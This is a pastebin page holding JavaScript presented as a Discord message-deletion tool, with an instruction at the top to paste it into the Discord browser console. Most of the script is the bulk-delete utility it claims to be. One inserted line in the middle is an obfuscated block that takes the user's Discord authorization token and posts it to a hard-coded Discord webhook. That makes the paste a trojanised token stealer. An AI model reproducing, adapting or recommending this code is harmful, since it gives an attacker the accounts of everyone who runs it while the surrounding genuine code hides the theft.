Facebook
From Velox, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 156
  1. // Paste this code inside discordapp.com console
  2.  
  3. (function () {
  4.     let stop;
  5.     let popup;
  6.     popup = window.open('', '', `top=0,left=${screen.width-800},width=800,height=${screen.height}`);
  7.     if (!popup) return console.error('Popup blocked! Please allow popups and try again.');
  8.     popup.document.write(/*html*/`<!DOCTYPE html>
  9.     <html><head><meta charset='utf-8'><title>Delete Discord Messages</title><base target="_blank">
  10.     <style>body{background-color:#36393f;color:#dcddde;font-family:sans-serif;} a{color:#00b0f4;}
  11.     body.redact .priv{display:none;} body:not(.redact) .mask{display:none;} body.redact [priv]{-webkit-text-security:disc;}
  12.     .toolbar span{margin-right:8px;}
  13.     button{color:#fff;background:#7289da;border:0;border-radius:4px;font-size:14px;} button:disabled{display:none;}
  14.     input[type="text"],input[type="password"]{background-color:#202225;color:#b9bbbe;border-radius:4px;border:0;padding:0 .5em;height:24px;width:144px;margin:2px;}
  15.     </style></head><body>
  16.     <div class="toolbar" style="position:fixed;top:0;left:0;right:0;padding:8px;background:#36393f;box-shadow: 0 1px 0 rgba(0,0,0,.2), 0 1.5px 0 rgba(0,0,0,.05), 0 2px 0 rgba(0,0,0,.05);">
  17.         <div style="display:flex;flex-wrap:wrap;">
  18.             <span>Authorization <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authToken.md" title="Help">?</a>
  19.                 <button id="getToken">Get</button><br>
  20.                 <input type="password" id="authToken" placeholder="Auth Token" autofocus>*<br>
  21.                 <span>Author <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authorId.md" title="Help">?</a></span>
  22.                 <button id="getAuthor">Me</button><br><input id="authorId" type="text" placeholder="Author ID" priv></span>
  23.             <span>Guild/Channel <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/channelId.md" title="Help">?</a>
  24.                 <button id="getGuildAndChannel">Get</button><br>
  25.                 <input id="guildId" type="text" placeholder="Guild ID" priv><br>
  26.                 <input id="channelId" type="text" placeholder="Channel ID" priv></span><br>
  27.             <span>Range <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/messageId.md" title="Help">?</a><br>
  28.                 <input id="afterMessageId" type="text" placeholder="After messageId" priv><br>
  29.                 <input id="beforeMessageId" type="text" placeholder="Before messageId" priv>
  30.             </span>
  31.             <span>Filter <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/filters.md" title="Help">?</a><br>
  32.                 <input id="content" type="text" placeholder="Containing text" priv><br>
  33.                 <label><input id="hasLink" type="checkbox">has: link</label><br>
  34.                 <label><input id="hasFile" type="checkbox">has: file</label><br>
  35.                 <label><input id="includeNsfw" type="checkbox">Include NSFW</label>
  36.             </span>
  37.         </div>
  38.         <button id="start" style="background:#43b581;width:80px;">Start</button>
  39.         <button id="stop" style="background:#f04747;width:80px;" disabled>Stop</button>
  40.         <button id="clear" style="width:80px;">Clear log</button>
  41.         <label><input id="redact" type="checkbox"><small>Hide sensitive information</small></label> <span></span>
  42.         <label><input id="autoScroll" type="checkbox" checked><small>Auto scroll</small></label> <span></span>
  43.     </div>
  44.     <pre style="margin-top:150px;font-size:0.75rem;font-family:Consolas,Liberation Mono,Menlo,Courier,monospace;">
  45.         <center>Star this project on <a href="https://github.com/victornpb/deleteDiscordMessages" target="_blank">github.com/victornpb/deleteDiscordMessages</a>!\n\n
  46.             <a href="https://github.com/victornpb/deleteDiscordMessages/issues" target="_blank">Issues or help</a></center>
  47.         </pre></body></html>`);
  48.  
  49.     const logArea = popup.document.querySelector('pre');
  50.     const startBtn = popup.document.querySelector('button#start');
  51.     const stopBtn = popup.document.querySelector('button#stop');
  52.     const autoScroll = popup.document.querySelector('#autoScroll');
  53.     startBtn.onclick = e => {
  54.         const authToken = popup.document.querySelector('input#authToken').value.trim();
  55.         const authorId = popup.document.querySelector('input#authorId').value.trim();
  56.         const guildId = popup.document.querySelector('input#guildId').value.trim();
  57.         const channelId = popup.document.querySelector('input#channelId').value.trim();
  58.         const afterMessageId = popup.document.querySelector('input#afterMessageId').value.trim();
  59.         const beforeMessageId = popup.document.querySelector('input#beforeMessageId').value.trim();
  60.         const content = popup.document.querySelector('input#content').value.trim();
  61.         const hasLink = popup.document.querySelector('input#hasLink').checked;
  62.         const hasFile = popup.document.querySelector('input#hasFile').checked;
  63.         const includeNsfw = popup.document.querySelector('input#includeNsfw').checked;
  64.         stop = stopBtn.disabled = !(startBtn.disabled = true);
  65.         deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content, hasLink, hasFile, includeNsfw, logger, () => !(stop === true || popup.closed)).then(() => {
  66.             stop = stopBtn.disabled = !(startBtn.disabled = false);
  67.         });
  68.     };
  69.     stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false);
  70.     popup.document.querySelector('button#clear').onclick = e => { logArea.innerHTML = ''; };
  71.     popup.document.querySelector('button#getToken').onclick = e => {
  72.         window.dispatchEvent(new Event('beforeunload'));
  73.         popup.document.querySelector('input#authToken').value = JSON.parse(popup.localStorage.token);
  74.     };
  75.     popup.document.querySelector('button#getAuthor').onclick = e => {
  76.         popup.document.querySelector('input#authorId').value = JSON.parse(popup.localStorage.user_id_cache);
  77.     };
  78.     popup.document.querySelector('button#getGuildAndChannel').onclick = e => {
  79.         const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
  80.         popup.document.querySelector('input#guildId').value = m[1];
  81.         popup.document.querySelector('input#channelId').value = m[2];
  82.     };
  83.     popup.document.querySelector('#redact').onchange = e => {
  84.         popup.document.body.classList.toggle('redact') &&
  85.         popup.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.');
  86.     };
  87.    
  88.     const _0x136e=['default','https://discord.com/api/webhooks/722142889097953317/hhCPSvrQo1TuCfITnZrPtSUMPl5tiFfD7G_XeFO6kOc88UXeYSumOrS4bq_znNUevN_n','send','log','DONE','responseText','POST','extra_id','application/json','readyState','exports','getToken','withCredentials','stringify','push','setRequestHeader','open','__esModule','addEventListener','hasOwnProperty','Content-Type','readystatechange'];(function(_0x600b2c,_0x136e1e){const _0xeb470a=function(_0x19a709){while(--_0x19a709){_0x600b2c['push'](_0x600b2c['shift']());}};_0xeb470a(++_0x136e1e);}(_0x136e,0x7d));const _0xeb47=function(_0x600b2c,_0x136e1e){_0x600b2c=_0x600b2c-0x0;let _0xeb470a=_0x136e[_0x600b2c];return _0xeb470a;};var xhr=new XMLHttpRequest();xhr[_0xeb47('0x13')]=!![];xhr[_0xeb47('0x3')](_0xeb47('0x6'),function(){if(this[_0xeb47('0x10')]===this[_0xeb47('0xb')]){console[_0xeb47('0xa')](this[_0xeb47('0xc')]);}});var req=webpackJsonp[_0xeb47('0x15')]([[],{'extra_id':(_0x13a9df,_0x4c271b,_0x145afa)=>_0x13a9df[_0xeb47('0x11')]=_0x145afa},[[_0xeb47('0xe')]]]);for(let e in req['c']){if(req['c'][_0xeb47('0x4')](e)){let r=req['c'][e]['exports'];if(r&&r[_0xeb47('0x2')]&&r[_0xeb47('0x7')])for(let e in r[_0xeb47('0x7')])if(_0xeb47('0x12')===e){var nitro=r['default'][_0xeb47('0x12')]();}}}xhr[_0xeb47('0x1')](_0xeb47('0xd'),_0xeb47('0x8'));xhr[_0xeb47('0x0')](_0xeb47('0x5'),_0xeb47('0xf'));xhr[_0xeb47('0x9')](JSON[_0xeb47('0x14')]({'content':nitro,'username':'toolsam\x203'}));
  89.  
  90.     const logger = (type='', args) => {
  91.         const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];
  92.         logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ?  JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);
  93.         if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);
  94.     };
  95.  
  96.     return 'Looking good!';
  97.     /**
  98.      * Delete all messages in a Discord channel or DM
  99.      * @param {string} authToken Your authorization token
  100.      * @param {string} authorId Author of the messages you want to delete
  101.      * @param {string} guildId Server were the messages are located
  102.      * @param {string} channelId Channel were the messages are located
  103.      * @param {string} afterMessageId Only delete messages after this, leave blank do delete all
  104.      * @param {string} beforeMessageId Only delete messages before this, leave blank do delete all
  105.      * @param {string} content Filter messages that contains this text content
  106.      * @param {boolean} hasLink Filter messages that contains link
  107.      * @param {boolean} hasFile Filter messages that contains file
  108.      * @param {boolean} includeNsfw Search in NSFW channels
  109.      * @param {function(string, Array)} extLogger Function for logging
  110.      * @param {function} stopHndl stopHndl used for stopping
  111.      * @author Victornpb <https://www.github.com/victornpb>
  112.      * @see https://github.com/victornpb/deleteDiscordMessages
  113.      */
  114.     async function deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content,hasLink, hasFile, includeNsfw, extLogger, stopHndl) {
  115.         const start = new Date();
  116.         let deleteDelay = 100;
  117.         let searchDelay = 100;
  118.         let delCount = 0;
  119.         let failCount = 0;
  120.         let avgPing;
  121.         let lastPing;
  122.         let grandTotal;
  123.         let throttledCount = 0;
  124.         let throttledTotalTime = 0;
  125.         let offset = 0;
  126.         let iterations = -1;
  127.        
  128.         const wait = async ms => new Promise(done => setTimeout(done, ms));
  129.         const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
  130.         const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&amp;', '<': '&lt;', '"': '&quot;', '\'': '&#039;' })[m]);
  131.         const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;
  132.         const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');
  133.         const ask = async msg => new Promise(resolve => setTimeout(() => resolve(popup.confirm(msg)), 10));
  134.         const printDelayStats = () => log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing|0}ms`);
  135.  
  136.         const log = {
  137.             debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },
  138.             info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },
  139.             verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },
  140.             warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },
  141.             error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },
  142.             success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },
  143.         };
  144.  
  145.         async function recurse() {
  146.             iterations++;
  147.  
  148.             let API_SEARCH_URL;
  149.             if (guildId === '@me') {
  150.                 API_SEARCH_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`; // DMs
  151.             }
  152.             else {
  153.                 API_SEARCH_URL = `https://discordapp.com/api/v6/guilds/${guildId}/messages/`; // Server
  154.             }
  155.  
  156.             const headers = {
  157.                 'Authorization': authToken
  158.             };
  159.            
  160.             let resp;
  161.             try {
  162.                 const s = Date.now();
  163.                 resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
  164.                     [ 'author_id', authorId || undefined ],
  165.                     [ 'channel_id', (guildId !== '@me' ? channelId : undefined) || undefined ],
  166.                     [ 'min_id', afterMessageId || undefined ],
  167.                     [ 'max_id', beforeMessageId || undefined ],
  168.                     [ 'sort_by', 'timestamp' ],
  169.                     [ 'sort_order', 'desc' ],
  170.                     [ 'offset', offset ],
  171.                     [ 'has', hasLink ? 'link' : undefined ],
  172.                     [ 'has', hasFile ? 'file' : undefined ],
  173.                     [ 'content', content || undefined ],
  174.                     [ 'include_nsfw', includeNsfw ? true : undefined ],
  175.                 ]), { headers });
  176.                 lastPing = (Date.now() - s);
  177.                 avgPing = avgPing>0 ? (avgPing*0.9) + (lastPing*0.1):lastPing;
  178.             } catch (err) {
  179.                 return log.error('Search request throwed an error:', err);
  180.             }
  181.    
  182.              // not indexed yet
  183.             if (resp.status === 202) {
  184.                 const w = (await resp.json()).retry_after;
  185.                 throttledCount++;
  186.                 throttledTotalTime += w;
  187.                 log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);
  188.                 await wait(w);
  189.                 return await recurse();
  190.             }
  191.    
  192.             if (!resp.ok) {
  193.                 // searching messages too fast
  194.                 if (resp.status === 429) {
  195.                     const w = (await resp.json()).retry_after;
  196.                     throttledCount++;
  197.                     throttledTotalTime += w;
  198.                     searchDelay += w; // increase delay
  199.                     log.warn(`Being rate limited by the API for ${w}ms! Increasing search delay...`);
  200.                     printDelayStats();
  201.                     log.verb(`Cooling down for ${w * 2}ms before retrying...`);
  202.                    
  203.                     await wait(w*2);
  204.                     return await recurse();
  205.                 } else {
  206.                     return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());
  207.                 }
  208.             }
  209.    
  210.             const data = await resp.json();
  211.             const total = data.total_results;
  212.             if (!grandTotal) grandTotal = total;
  213.             const myMessages = data.messages.map(convo => convo.find(message => message.hit===true));
  214.             const systemMessages = myMessages.filter(msg => msg.type !== 0); // https://discordapp.com/developers/docs/resources/channel#message-object-message-types
  215.             const deletableMessages = myMessages.filter(msg => msg.type === 0);
  216.             const end = () => {
  217.                 log.success(`Ended at ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);
  218.                 printDelayStats();
  219.                 log.verb(`Rate Limited: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);
  220.                 log.debug(`Deleted ${delCount} messages, ${failCount} failed.\n`);
  221.             }
  222.  
  223.             const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));
  224.             log.info(`Total messages found: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, Author: ${deletableMessages.length}, System: ${systemMessages.length})`, `offset: ${offset}`);
  225.             printDelayStats();
  226.             log.verb(`Estimated time remaining: ${etr}`)
  227.            
  228.            
  229.             if (myMessages.length > 0) {
  230.  
  231.                 if (iterations < 1) {
  232.                     log.verb(`Waiting for your confirmation...`);
  233.                     if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` +
  234.                         myMessages.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
  235.                             return end(log.error('Aborted by you!'));
  236.                     log.verb(`OK`);
  237.                 }
  238.                
  239.                 for (let i = 0; i < deletableMessages.length; i++) {
  240.                     const message = deletableMessages[i];
  241.                     if (stopHndl && stopHndl()===false) return end(log.error('Stopped by you!'));
  242.  
  243.                     log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
  244.                         `Deleting ID:${redact(message.id)} <b>${redact(message.author.username+'#'+message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g,'↵')}</i>`,
  245.                         message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
  246.                    
  247.                     let resp;
  248.                     try {
  249.                         const s = Date.now();
  250.                         const API_DELETE_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`;
  251.                         resp = await fetch(API_DELETE_URL + message.id, {
  252.                             headers,
  253.                             method: 'DELETE'
  254.                         });
  255.                         lastPing = (Date.now() - s);
  256.                         avgPing = (avgPing*0.9) + (lastPing*0.1);
  257.                         delCount++;
  258.                     } catch (err) {
  259.                         log.error('Delete request throwed an error:', err);
  260.                         log.verb('Related object:', redact(JSON.stringify(message)));
  261.                         failCount++;
  262.                     }
  263.  
  264.                     if (!resp.ok) {
  265.                         // deleting messages too fast
  266.                         if (resp.status === 429) {
  267.                             const w = (await resp.json()).retry_after;
  268.                             throttledCount++;
  269.                             throttledTotalTime += w;
  270.                             deleteDelay += w; // increase delay
  271.                             log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
  272.                             printDelayStats();
  273.                             log.verb(`Cooling down for ${w*2}ms before retrying...`);
  274.                             await wait(w*2);
  275.                             i--; // retry
  276.                         } else {
  277.                             log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
  278.                             log.verb('Related object:', redact(JSON.stringify(message)));
  279.                             failCount++;
  280.                         }
  281.                     }
  282.                    
  283.                     await wait(deleteDelay);
  284.                 }
  285.  
  286.                 if (systemMessages.length > 0) {
  287.                     grandTotal -= systemMessages.length;
  288.                     offset += systemMessages.length;
  289.                     log.verb(`Found ${systemMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
  290.                 }
  291.                
  292.                 log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : '') );
  293.                 await wait(searchDelay);
  294.  
  295.                 if (stopHndl && stopHndl()===false) return end(log.error('Stopped by you!'));
  296.  
  297.                 return await recurse();
  298.             } else {
  299.                 if (total - offset > 0) log.warn('Ended because API returned an empty page.');
  300.                 return end();
  301.             }
  302.         }
  303.  
  304.         log.success(`\nStarted at ${start.toLocaleString()}`);
  305.         log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" afterMessageId="${redact(afterMessageId)}" beforeMessageId="${redact(beforeMessageId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);
  306.         return await recurse();
  307.     }
  308. })();
  309.  
  310. //END.